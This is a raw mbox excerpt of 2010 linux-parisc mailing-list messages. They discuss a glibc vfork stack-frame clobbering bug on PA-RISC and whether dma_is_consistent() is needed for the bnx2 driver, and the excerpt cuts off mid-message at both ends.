I'm building/testing this and I will tell you how it goes.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 12:26:50 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <20100622162651.E4CA1505C@hiauly1.hia.nrc.ca>
References: <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277224021 15982 80.91.229.12 (22 Jun 2010 16:27:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 16:27:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 18:26:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR6JM-0005x9-FX
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 18:26:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755802Ab0FVQ0z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 12:26:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3964 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753957Ab0FVQ0y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 12:26:54 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E4CA1505C; Tue, 22 Jun 2010 12:26:51 -0400 (EDT)
In-Reply-To: <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com> from "Carlos O'Donell" at Jun 22, 2010 11:17:44 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2969>

> vfork ->
>   vfork syscall (pt-vfork.S)
> 
> This has not changed in 2.11.1.

I just assumed that a change must have occurred because of the behavior
of pex_unix_exec_child in libiberty/pex-unix.c.  I didn't investigate
history.

> Could you please elaborate on the change that you believe occurred in 2.11.=
> 1?
> 
> > I filed a sourceware bug, but closed it when I realized that
> > this is a glibc/kernel bug:
> > http://sourceware.org/bugzilla/show_bug.cgi?id=3D11730
> >
> > After spending some time looking at this, I realized that __vfork
> > is broken. =A0It should not allocate a frame as the child may clobber
> > the parent's frame when it does a call, etc. =A0A frame should only
> > be allocated and popped around the call to the syscall error handler.
> 
> Oh dear, yes I see. After the child returns from vfork, it calls exec,
> clobbering the vfork frame that the parent must still unwind from. Is
> that what you mean?

Yes.  Actually, pex_unix_exec_child may call dup2 and close as well.
In my gdb build, the parent's return address in the frame is clobbered
resulting in pex_child_error being called by the parent.

I looked at the hpux implementation and it doesn't create a frame.
Of course, the vfork syscall then must not clobber the return address,
etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
	get_dma_ops()
Date: Tue, 22 Jun 2010 11:14:45 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20100622171445.GB8644@lackof.org>
References: <20100617.073653.193708702.davem@davemloft.net> <20100617234520S.fujita.tomonori@lab.ntt.co.jp> <20100617153051.GB8964@linux-sh.org> <20100622152823R.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277226901 28398 80.91.229.12 (22 Jun 2010 17:15:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 17:15:01 +0000 (UTC)
Cc: lethal@linux-sh.org, davem@davemloft.net, mchan@broadcom.com,
	vapier@gentoo.org, JBottomley@novell.com, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 19:14:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR73n-00047s-Rk
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 19:14:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755724Ab0FVROz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 13:14:55 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:32960 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753845Ab0FVROy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 13:14:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E325E33E0063;
	Tue, 22 Jun 2010 11:14:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UW0kjB14Xajp; Tue, 22 Jun 2010 11:14:45 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 56BFB33E0132; Tue, 22 Jun 2010 11:14:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100622152823R.fujita.tomonori@lab.ntt.co.jp>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2970 gmane.linux.network:164493 gmane.linux.kernel:1001798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2970>

On Tue, Jun 22, 2010 at 03:30:08PM +0900, FUJITA Tomonori wrote:
...
> > I don't see any harm in letting drivers know whether we can support
> > consistent DMA allocs for a given struct device or not though, even if
> > the micro-optimization is marginal at best.
> 
> I'm happier with exporting less DMA APIs to drivers because looks like
> new original ways to use the APIs wrongly can be always invented.

Agree.

...
> There are architectures that need to turn off the CPU cache for
> coherent memory, I can't find none of them that see if an address is
> coherent or not in dma_is_consistent().

parisc "knows" primarily based on chipset and then checks CPU model.
We hook in the correct dma_ops early in boot before any device drivers
are probed.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Tue, 22 Jun 2010 12:26:04 -0500
Lines: 88
Approved: news@gmane.org
Message-ID: <1277227564.9374.7.camel@mulgrave.site>
References: <20100617.073653.193708702.davem@davemloft.net>
	 <20100617234520S.fujita.tomonori@lab.ntt.co.jp>
	 <20100617153051.GB8964@linux-sh.org>
	 <20100622152823R.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277227574 31175 80.91.229.12 (22 Jun 2010 17:26:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 17:26:14 +0000 (UTC)
Cc: lethal@linux-sh.org, davem@davemloft.net, mchan@broadcom.com,
	vapier@gentoo.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 19:26:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR7Eg-0002l7-Hw
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 19:26:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756774Ab0FVR0J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 13:26:09 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45118 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756012Ab0FVR0I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 13:26:08 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6FE548EE0DC;
	Tue, 22 Jun 2010 10:26:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GOnZ3LFUTSdt; Tue, 22 Jun 2010 10:26:07 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 86F688EE0D2;
	Tue, 22 Jun 2010 10:26:06 -0700 (PDT)
In-Reply-To: <20100622152823R.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2971 gmane.linux.network:164500 gmane.linux.kernel:1001805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2971>

On Tue, 2010-06-22 at 15:30 +0900, FUJITA Tomonori wrote:
> On Fri, 18 Jun 2010 00:30:51 +0900
> Paul Mundt <lethal@linux-sh.org> wrote:
> 
> > On Thu, Jun 17, 2010 at 11:50:35PM +0900, FUJITA Tomonori wrote:
> > > On Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
> > > David Miller <davem@davemloft.net> wrote:
> > > 
> > > > From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> > > > Date: Thu, 17 Jun 2010 21:21:13 +0900
> > > > 
> > > > > On Wed, 16 Jun 2010 23:24:44 -0700
> > > > > "Michael Chan" <mchan@broadcom.com> wrote:
> > > > > 
> > > > >> David, why is dma_is_consistent() always returning 1 on sparc?  The
> > > > >> streaming DMA is not consistent.
> > > > > 
> > > > > I think that there are some confusion about dma_is_consistent(). Some
> > > > > architectures think that dma_is_consistent() is supposed to return 1
> > > > > if they can allocate coherent memory (note that some architectures
> > > > > can't allocate coherent memory).
> > > > 
> > > > Right, and that's why it's defined this way.
> > > > 
> > > > If the desired meaning is different, just me know and I'll fix the
> > > > sparc definition.
> > > 
> > > I think that there are some other architectures do the same. We need
> > > to make sure that all the architectures define dma_is_consistent() in
> > > the same meaning if drivers need it. However, I'm not sure we really
> > > need dma_is_consistent(). There is only one user of it (and I think we
> > > could remove it).
> > > 
> > > In the bnx2 case, we can simply prefetch on all the archs (or just
> > > remove the optimization).
> > 
> > I think its worthwhile keeping, especially since the consistency can vary
> > on a per struct device level. If there's a benefit with these sorts of
> > prefetch micro-optimizations in drivers when it doesn't cost us that much
> > to provide the hint, I don't really see the harm. If dma_is_consistent()
> > is suddenly supposed to take on other meanings, or it's supposed to mean
> > something entirely different, then this is something we should deal with
> > separately.
> > 
> > I don't see any harm in letting drivers know whether we can support
> > consistent DMA allocs for a given struct device or not though, even if
> > the micro-optimization is marginal at best.
> 
> I'm happier with exporting less DMA APIs to drivers because looks like
> new original ways to use the APIs wrongly can be always invented.
> 
> 
> > At least I've conditionalized the definition on SH, and it seems other
> > archictures have done so too. It's not clear what we'd gain from throwing
> 
> >From a quick look, except for SH and POWERPC (and always-coherent
> architectures), everyone does differently?
> 
> There are architectures that need to turn off the CPU cache for
> coherent memory, I can't find none of them that see if an address is
> coherent or not in dma_is_consistent().

Yes, I fear ... parisc.  We have a class of machines where this is the
only way (and we also have a class of machines where the cache disable
doesn't work properly and we can't manufacture coherent memory at all).
All our pa2.0 systems are fully integrated between the iommu cache and
the CPU cache, so they can manufacture coherent memory properly, but the
pa1.0 systems are a mixed bag of dirty tricks.

> As I wrote, there is only one user of this API and we can remove it
> easily. Then I'm not sure it's worth fixing dma_is_consistent() in
> many architectures. I prefer to add this to
> feature-removal-schedule.txt to see if driver writers oppose.

Let me check our two drivers: lasi and 53c700; they're the only ones we
support on the architecture that can't do any coherence.  I think we
don't need to tell because the dma_sync_cache calls which replace
coherent memory handling are indirected on the platform so we don't need
a global dma_is_coherent() flag.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 14:34:31 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <AANLkTimN025LJidxvbeHRApq2_0F6N1ir_dZoYBGSl3h@mail.gmail.com>
References: <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
	<20100622162651.E4CA1505C@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277231682 15405 80.91.229.12 (22 Jun 2010 18:34:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 18:34:42 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 20:34:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR8Iv-0003el-5c
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 20:34:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753455Ab0FVSee convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 14:34:34 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:57409 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753409Ab0FVSed convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 14:34:33 -0400
Original-Received: by wwc33 with SMTP id 33so357663wwc.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jun 2010 11:34:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=nVLmyVB7kEADZJBeGUsz3KpuBVBey5aisazwhVJulp0=;
        b=mpDlMSa8CURHfKL0bYAu7gYF06er66kw4RA8zE47zMKwKX4BskH7NJreXTguGkr1mW
         1QGpYZlApZe9PJX8WKtbFopY0UF2SPQIRLwG/2blg911IMLkFrurFcActN+qv4TGlnht
         mlPLJWwiqtt6kZk752OXvOFWt51zXyxjGrGC0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=nihQNQ6pemLKETKSzpZk9iH8E8kUCUYnYcjC9swbwF0KvxZ3PikjBHBYUiCo9j5v8Q
         gPg6OkuFoapjZsHFGALSMrtmDTajLwnyGI9vAMfDOBNmfj+rKlio4cDeg1NjLUHTIdK1
         FjBJouLHgiCBcRBMdYFhkaZ6zVmWaWqbNAa5A=
Original-Received: by 10.227.135.209 with SMTP id o17mr6433516wbt.150.1277231671569; 
	Tue, 22 Jun 2010 11:34:31 -0700 (PDT)
Original-Received: by 10.216.22.149 with HTTP; Tue, 22 Jun 2010 11:34:31 -0700 (PDT)
In-Reply-To: <20100622162651.E4CA1505C@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: HqIpLVcrDhAwHqYIukmQ2Sk1cqU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2972>

On Tue, Jun 22, 2010 at 12:26 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> vfork ->
>> =A0 vfork syscall (pt-vfork.S)
>>
>> This has not changed in 2.11.1.
>
> I just assumed that a change must have occurred because of the behavi=
or
> of pex_unix_exec_child in libiberty/pex-unix.c. =A0I didn't investiga=
te
> history.

Thank you, I don't expect anything has changed, but even if it hasn't
there is still a bug in glibc.

> Yes. =A0Actually, pex_unix_exec_child may call dup2 and close as well=
=2E
> In my gdb build, the parent's return address in the frame is clobbere=
d
> resulting in pex_child_error being called by the parent.

Technically POSIX says it can't call dup2/close, but under Linux the
vfork implementation duplicates file descriptors and therefore
dup2/close are OK to use before execve.

The important part is that vfork *must not* create a frame in the
parent that the child unwinds.

> I looked at the hpux implementation and it doesn't create a frame.
> Of course, the vfork syscall then must not clobber the return address=
,
> etc.

Yes, the vfork syscall *must not* clobber r2, without a stack we have
nowhere to save it. I'm pretty sure the kernel preserves r2 across a
vfork. The next step is to verify that :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 14:44:18 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20100622184419.CCF1C5057@hiauly1.hia.nrc.ca>
References: <AANLkTimN025LJidxvbeHRApq2_0F6N1ir_dZoYBGSl3h@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277232267 17612 80.91.229.12 (22 Jun 2010 18:44:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 18:44:27 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 20:44:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR8SM-0000vZ-Sn
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 20:44:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753784Ab0FVSoW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 14:44:22 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3977 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753688Ab0FVSoV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 14:44:21 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CCF1C5057; Tue, 22 Jun 2010 14:44:19 -0400 (EDT)
In-Reply-To: <AANLkTimN025LJidxvbeHRApq2_0F6N1ir_dZoYBGSl3h@mail.gmail.com> from "Carlos O'Donell" at Jun 22, 2010 02:34:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2973
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2973>

> > I looked at the hpux implementation and it doesn't create a frame.
> > Of course, the vfork syscall then must not clobber the return address,
> > etc.
> 
> Yes, the vfork syscall *must not* clobber r2, without a stack we have
> nowhere to save it. I'm pretty sure the kernel preserves r2 across a
> vfork. The next step is to verify that :-)

Actually, it's ok to save it in the __fork caller's frame at the standard
location.  r2 is always saved there by the callee.  The argument slots for
r26 thru r23 and the PIC register slot also can be used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 15:53:35 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <AANLkTinhRqCVK3NlPvqH4XfQiq_jnz3dWfp4k_vK1Eqf@mail.gmail.com>
References: <AANLkTimN025LJidxvbeHRApq2_0F6N1ir_dZoYBGSl3h@mail.gmail.com>
	<20100622184419.CCF1C5057@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277236422 1572 80.91.229.12 (22 Jun 2010 19:53:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 19:53:42 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 21:53:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR9XO-0003jf-2S
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 21:53:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752052Ab0FVTxh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 15:53:37 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:44075 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751901Ab0FVTxg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 15:53:36 -0400
Original-Received: by wyi11 with SMTP id 11so176511wyi.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jun 2010 12:53:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=sV/Y9kzAyaqsDPFXpAx+iZqJu23YOfRo1wNvJTVNU2g=;
        b=TyojZMxDGuSEDw5XenPCud+WWOkLOCw3dVt1QOwPEXte9oHrJPci2ZqP3ANr0DsbGx
         MyqJfj8XX77z81XeIfcJp9svM7c7a6bOggfuC9kSGyiXyCNw7OcSy83t9IbujEkXZbOG
         EH1oBMJUhQJUBwoqScu0Vwicro/jR81ZDlWqk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=aq2ikmrEHasbWCCC0iL1uNKYCdd1l/ISCrUHd5g3D3WjoEabHHtUNtP2qUE4ou4zCA
         lgGCqHHqMXjPbFe3neM5y4u1v6qMxx37GsmS3HXqQqUi2hqeRmB/m7Mz2LlWWtNgW42x
         JYr6P+v7Z6RWMgNN2+btef7NNUGDgwUKRZcK4=
Original-Received: by 10.216.162.21 with SMTP id x21mr5038006wek.103.1277236415401; 
	Tue, 22 Jun 2010 12:53:35 -0700 (PDT)
Original-Received: by 10.216.22.149 with HTTP; Tue, 22 Jun 2010 12:53:35 -0700 (PDT)
In-Reply-To: <20100622184419.CCF1C5057@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: YTL1dc2bx_-SKJXfBo6ylt0REUs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2974>

On Tue, Jun 22, 2010 at 2:44 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > I looked at the hpux implementation and it doesn't create a frame.
>> > Of course, the vfork syscall then must not clobber the return addr=
ess,
>> > etc.
>>
>> Yes, the vfork syscall *must not* clobber r2, without a stack we hav=
e
>> nowhere to save it. I'm pretty sure the kernel preserves r2 across a
>> vfork. The next step is to verify that :-)
>
> Actually, it's ok to save it in the __fork caller's frame at the stan=
dard
> location. =A0r2 is always saved there by the callee. =A0The argument =
slots for
> r26 thru r23 and the PIC register slot also can be used.

I disagree with you.

What about this scenario:
* Parent call vfork, saves rp in -20(%sp) (parents frame)
* Parent suspends upon entry to vfork syscall
* Child returns from vfork syscall
* Child restores rp from -20(%sp) (parents frame)
* Child calls close which saves rp in -20(%sp) (parents frame)
* Child calls execve
